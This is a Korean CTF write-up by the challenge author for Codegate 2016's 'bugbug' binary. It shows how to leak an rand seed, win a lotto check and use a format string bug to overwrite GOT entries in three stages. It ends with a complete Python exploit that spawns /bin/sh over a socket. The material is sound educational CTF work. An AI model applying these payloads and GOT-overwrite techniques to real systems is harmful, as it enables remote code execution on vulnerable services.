By saren | April 5, 2016
Codegate 2016 bugbug 출제자 Write Up
공사가 다망하여 지금껏 미루어 두었던 마지막 예선 라이트업을 낭낭히 가져와 봤습니다 :)
0. Overview
문제파일의 속성을 확인하면 32bit ELF파일이고, strip되어 있습니다.
다음으로 checksec.sh을 통해 어떤 메모리 보호기법이 적용되어 있는 지 알아보겠습니다.
확인 결과 NX(No eXecute)만 enable되어 있습니다.
1. Execute & Analysis
이제 문제를 실행시켜 보겠습니다.
먼저 사용자의 이름을 입력받고, Hello~를 출력해 준 뒤 lotto game을 진행합니다.
이 lotto game에서 이겨야 뭔가를 할 수 있을 것 같습니다.
그렇다면 이 문제가 어떻게 구현되어 있는지 이제 IDA로 바이너리를 까 봅시다.
/dev/urandom에서 4bytes만큼 읽어서 ptr이라는 변수에 저장 후, 이 값을 srand의 seed로 사용합니다.
그리고는 rand함수를 이용하여 6개의 난수를 생성하고, 생성된 난수 6개와 사용자가 입력한 6개의 값을 비교합니다.
값이 다르다면 You lose!를 출력해 주고 그냥 끝나지만,
값이 같다면 Congratulation을 출력해 줌과 동시에 포맷스트링 버그가 있는 50번째 line이 실행됩니다.
IDA를 통해 이 문제의 취약점은 포맷스트링이고, 포맷스트링 취약점을 이용하여 exploit을 하기 위해서는
먼저 lotto번호를 맞추는 것이 선행되어야 한다는 것을 알았습니다.
그런데 seed값이 항상 일정하지 않고 매번 실행할 때마다 /dev/urandom에서 값을 읽어오기 때문에
seed값을 예상하기 힘들겠다고 생각이 듭니다.
하지만 다행히도 seed값은 leak을 해서 알아낼 수 있습니다.
위와 같이 buf배열 바로 다음에 ptr 변수가 선언되어 있고,
ptr에 값이 저장된 이후 read함수가 호출되기 때문에 leak이 가능합니다.
다시 말해, buf에 아무 값이나 100bytes를 입력하면
다음 null문자를 만나기 전까지 문자가 출력되면서 seed로 쓰이는 ptr값이 노출이 됩니다.
다음 캡쳐 화면은 실제로 buf에 아무 값이나 100bytes를 입력했을 때
입력한 100bytes값 말고도 그 다음 값(ptr)이 출력되는 지 확인해 본 화면입니다.
진짜로 우리가 입력해 준 a 100bytes 외의 값이 출력이 됩니다.
이제 이 값이 seed값이 맞는지 gdb를 통해 검증해 봅시다.
fread함수가 호출될 때 마지막으로 push되는 값이 seed로 쓰이는 ptr입니다.
이 값과 임의의 100bytes값 뒤에 출력되는 4bytes의 값이 같은 지만 검증하면 됩니다.
먼저 ptr의 값을 확인하기 위해 0x804881b의 다음 인스트럭션인 0x8048820에 BP를 걸고 [ebp-0x10]의 값을 확인합니다.
0x8c7db244라는 값이 ptr에 저장된 값입니다.
이제 임의의 100bytes를 입력해 주고 buf의 바로 뒤에 ptr값이 잘 있는 지 확인합니다.
위 화면에서 보이는 것과 같이 buf의 바로 뒤에 ptr값이 있으므로 leak을 통해 ptr값(seed)을 알아와 lotto번호를 맞출 수 있습니다.
이렇게 해서 로또 게임을 우회하여 포맷스트링 버그가 있는 부분까지 도달할 수 있게 되었습니다.
이제 포맷스트링 버그를 이용하여 우리가 공격해야할 부분이 어디인지 알아보겠습니다.
포맷스트링 버그가 일어나는 시점에 도달하려면 먼저 lotto 번호를 맞춰야 하므로 seed를 leak하고,
알아낸 seed를 통해 6개의 난수를 발생시키도록 해준 상태입니다(exploit code 별도 첨부).
그렇게 하면 문제 프로그램과 같은 seed값으로 난수를 발생시키게 되는 것이므로 lotto 번호를 맞출 수 있기 때문입니다.
이렇게 lotto 번호를 맞추고 아래와 같이 100bytes에 맞춘 payload를 전송합니다.
입력해 준 aaaa가 다시 언제 나타나는 지 확인하기 위해 aaaa와 %9x%9x…..를 같이 쓴 것입니다.
그리고 위의 화면에서 보이듯이 aaaa는 %9x 17번째에 나타났습니다.
즉 17번째에 buf가 위치하고 있다는 것입니다.
또한 위의 포맷스트링 버그로 인해 화면에서 출력된 여러 값들 중에
아래와 같이 뭔가 libc냄새가 나는 주소 값이 출력된 것도 볼 수 있습니다.
이 주소를 활용하면 system함수의 주소를 구할 수 있을 것 같은데
이 주소가 정말 libc와 관련 있는 주소인지 gdb를 통해 확인해 보겠습니다.
2번째 %9x에서 0xb7fbe000이라는 주소 값이 출력됐습니다.
gdb에 해당 프로세스를 attach후 maps로 libc내의 주소인지 확인해 보겠습니다.
maps로 확인해 보니 2번째 %9x에서 출력된 주소 값을 이용하여 libc의 base 주소를 구할 수 있습니다.
0xb7fe000이 libc내에 존재하는 주소이기 때문에 libc base와의 오프셋을 이용하면 libc base의 주소도 구할 수 있고,
libc base 주소로부터 system함수까지의 오프셋을 이용하여 system함수의 주소도 구할 수 있습니다.
2번째 %9x에서 표시됐던 주소와 libc base와의 오프셋은 0x1b7000이고 이 libc base와 system함수와의 오프셋은 0x3b160입니다.
2. Exploit
Stage 1 ) exit함수의 got(0x0804a024)를 read함수가 호출되는 시점(0x08048858)으로 변경하면서 system함수 주소 계산을 위해 libc 주소 leak(%2$9x)을 하는 페이로드를 더미 값 포함 100bytes로 만들어서 /dev/urandom에서 읽은 4bytes값(seed) leak
Stage 2 ) rand함수의 got(0x0804a03c)를 포맷스트링 버그가 일어나는 printf를 호출하는 시점(0x08048966)으로 변경
Stage 3 ) printf함수의 got(0x0804a010)를 system함수로 변경
이제 IDA에서 봤던 50번째 줄에서 포맷스트링이 일어날 것이고, %n을 이용한다면 우리가 원하는 주소에 원하는 값을 쓸 수 있습니다.
먼저 exit함수의 got를 변경하여 포맷스트링 버그가 발생하는 부분을 한 번 더 호출할 수 있게 실행 흐름을 변경해 보겠습니다.
포맷스트링 버그가 발생하는 부분을 여러 번 호출할 수 있게 실행 흐름을 바꾸는 이유는
포맷스트링 공격 한번만으로 system함수를 호출하고 우리가 원하는 명령(“/bin/sh”)을 실행시킬 수 없기 때문입니다.
(exit함수의 got를 바로 system함수로 바꾼다고 해서 system(“/bin/sh”)이 실행되지 않습니다).
exit함수의 got를 read함수가 실행되는 곳으로 바꾸면 입력을 계속 받을 수 있게 되므로
(다시 말하면 포맷스트링 버그를 이용한 공격을 계속 할 수 있으므로),
exit함수의 got를 read함수가 실행되는 부분으로 바꾸도록 합시다.
위와 같은 과정을 수행하기 위해 read함수가 호출되는 부분이 어디인지 IDA로 확인해보겠습니다.
위와 같이 read함수는 0x08048853에서 실행됩니다.
다음으로 exit함수의 got를 확인해보겠습니다.
exit함수의 got는 0x0804a024입니다.
알아낸 정보를 이용하여 exit함수의 got(0x0804a024)를 read함수가 호출되는 시점(0x08048858)으로 변경하면서
system함수 주소 계산을 위해 libc 주소 leak(%2$9x)을 하는 페이로드를 더미 값 포함 100bytes로 만들어서
/dev/urandom에서 읽은 4bytes값(seed)을leak 하는 Stage1을 진행하겠습니다.
Stage1이 진행된 후 우리는 system함수의 주소도 알 수 있고,
exit함수가 호출되어 프로그램이 종료되는 대신 다시 read함수가 호출되는 부분으로 돌아가 또 다시 입력을 할 수 있습니다.
대신 lotto 번호는 한 번 더 맞춰줘야 합니다.
이제 Stage2를 구성해 보겠습니다.
lotto 번호를 다음 exploit때는 안 맞춰도 되게 하기 위해 rand함수의 got를 포맷스트링이 일어나는 printf로 바꿔주겠습니다.
이렇게 되면 다음 Stage에서 우리가 원하는 system(“/bin/sh”)을 바로 실행할 수 있습니다.
Stage2를 위해 rand함수의 got와 포맷스트링이 일어나는 printf가 실행되는 부분의 주소를 알아야합니다.
먼저 rand함수의 got부터 알아보겠습니다.
rand함수의 got는 0x0804a03c입니다.
다음으로 포맷스트링이 일어나는 printf가 실행되는 부분의 주소는 0x08048966입니다.
알아낸 정보를 이용하여 페이로드를 작성해보겠습니다.
먼저 rand함수의 got를 포맷스트링이 일어나는 printf가 실행되는 부분으로 바꾸는 페이로드는 다음과 같습니다.
0x08048966을 반으로 쪼개면 0x0804, 0x8966이고 이를 각각 10진수로 바꾸면 2052, 35174입니다.
0x0804a03c에 0x8966(35174)을 쓰고 0x0804a03e에 0x0804(2052)를 쓰면 됩니다.
여기서 주의해야 할 점은 앞서 첫 번째 실행 때는 buf의 내용이 17번째에 나타났지만 지금은 아래 화면과 같이 21번째에서 나타납니다.
그래서 %17$n, %18$n이 아니라 %21$n, %22$n을 쓴 것입니다.
마지막으로 Stage3을 구성해 보겠습니다.
이번 Stage에서는 printf함수의 got를 system함수로 바꿔서 그 다음 실행 때 33번째 줄의 printf가 system함수로 바뀌면서
system(“/bin/sh”)을 실행하도록 만들어주면 됩니다.
그러려면 입력할 때 “/bin/sh”문자열과 printf함수의 got를 system함수로 바꿔주는 포맷스트링을 입력해 줘야 합니다.
그런데 이때, 33번째 줄의 printf는 인자로 “\nHello~ %s\n”도 가지고 있으므로
우리가 원하는 명령인 “/bin/sh”이 실행이 되도록 하려면 ;(세미콜론)을 이용해야 합니다.
Stage3에 필요한 정보는 printf함수의 got와 system함수의 주소입니다.
그러나 system함수의 주소는 앞서 1차 exploit때 구했으므로 printf함수의 got만 알면 됩니다.
printf함수의 got는 0x0804a010입니다.
이제 앞서 구한 system함수의 주소를 포맷스트링 공격에 이용하기 위해 약간의 작업을 해주기만 하면 됩니다.
예를 들어 system함수의 주소가 0xb7545100이라고 하면 0x0804a010에 0x5100(20736)을, 0x0804a012에 0xb754(46932)를 쓰면 됩니다. 0x5100은 system_addr과 %연산을 통해 얻을 수 있고, 0xb754는 system_addr과 /연산을 통해 얻을 수 있습니다.
(0xb7545100 % 0x10000 = 0xb754, 0xb7545100 / 0x10000 = 0x5100)
printf함수의 got를 system함수로 바꾸고 /bin/sh 명령이 실행되게 printf함수의 got를 system함수로 바꿔주는
포맷스트링 앞에 “/bin/sh;”을 넣어주면 33번째 줄의 printf 대신 system(“~~~~;/bin/sh”) 명령이 실행될 것입니다.
그리고 이 때는 앞서 수행했던 포맷스트링 공격과는 다른 점이 있습니다.
aaaabbbb를 buf에 입력해주면 buf의 내용이 23번째부터 나타납니다.
그래서 공격 시 %23$n을 이용해야 할 것 같지만 “/bin/sh;” 8bytes도 buf에 있어야 하기 때문에
%23$n이 아니라 %25$n, %26$n을 이용하여 원하는 주소에 값을 써야합니다(%23$n, %24$n위치엔 “/bin/sh;”이 있을 것이기 때문에).
이를 고려하여 페이로드를 작성하면 다음과 같습니다.
이렇게 해서 마지막 stage까지 완료를 했고, 총 3단계를 거친 최종 exploit code는 다음과 같습니다.
#!/usr/bin/env python
from socket import *
from time import *
from telnetlib import *
from struct import *
import subprocess
import sys
p = lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
## Network Connection
s = socket(AF_INET, SOCK_STREAM)
#s.connect(("175.119.158.135", 8909))
s.connect(("127.0.0.1", 9000))
raw_input("<< Stage 1 >>")
sleep(0.1)
print s.recv(1024) # Who are you?
payload = "\x24\xa0\x04\x08"+"\x26\xa0\x04\x08"+"%2$9x"+"%34882x"+"%17$n"+"%32689x"+"%18$n"
a_100 = payload + "a"*(100 - len(payload))
s.send(a_100)
tmp = s.recv(1024)
print tmp
tmp2 = tmp.split(a_100)
seed = up(tmp2[1][:4])
print "%x" % seed
cmd = "./rand2 '" + str(seed) + "'"
lotto = subprocess.check_output( cmd, shell = True )
num = lotto.split('\n')[1]
num2 = lotto.split('\n')[2]
print s.recv(1024)
s.send(num+"\n")
fmt_buffer = s.recv( 302400 )
print fmt_buffer
libc_addr = int( fmt_buffer[26:34], 16)
while 1:
sys.stdout.flush( )
buffer = s.recv( 1024 )
print buffer
if len(buffer) != 1024 :
break
print "[*] libc_addr: 0x%x " % libc_addr
libc_base = libc_addr - 0x1B7000
print "[*] libc_base: 0x%x " % libc_base
system_addr = libc_base + 0x3B160
print "[*] system_addr: 0x%x " % system_addr
raw_input("<< Stage 2 >>")
# rand_got -> call printf(fsb)
payload2 = "\x3c\xa0\x04\x08" + "\x3e\xa0\x04\x08" + "%2$9x" + "%35157x" + "%21$n" + "%32414x" + "%22$n"
s.send(payload2)
print "[*] payload2 send!"
print s.recv( 1024 )
print num2
s.send( num2 + "\n\x00" )
fmt_buffer2 = s.recv( 302400 )
print fmt_buffer2
while 1:
sys.stdout.flush( )
buffer = s.recv( 1024 )
print buffer
if len(buffer) != 1024 :
break
raw_input("<< Stage 3 >>")
high_system_addr = system_addr / 0x10000
low_system_addr = system_addr % 0x10000
print "[*] high: 0x%x" % high_system_addr
print "[*] low: 0x%x" % low_system_addr
low = int(str(low_system_addr), 10) - 18
high = int(str(high_system_addr), 10) - int(str(low_system_addr), 10)
# printf_got -> system
payload3 = ";hs/nib/"+"\x10\xa0\x04\x08"+"\x12\xa0\x04\x08"+"%c%c"+"%"+str(low)+"x"+"%25$n"+"%"+str(high)+"x"+"%26$n"
s.send(payload3)
print s.recv(1024)
print s.recv(1024)
t = Telnet( )
t.sock = s
t.interact( )
s.close()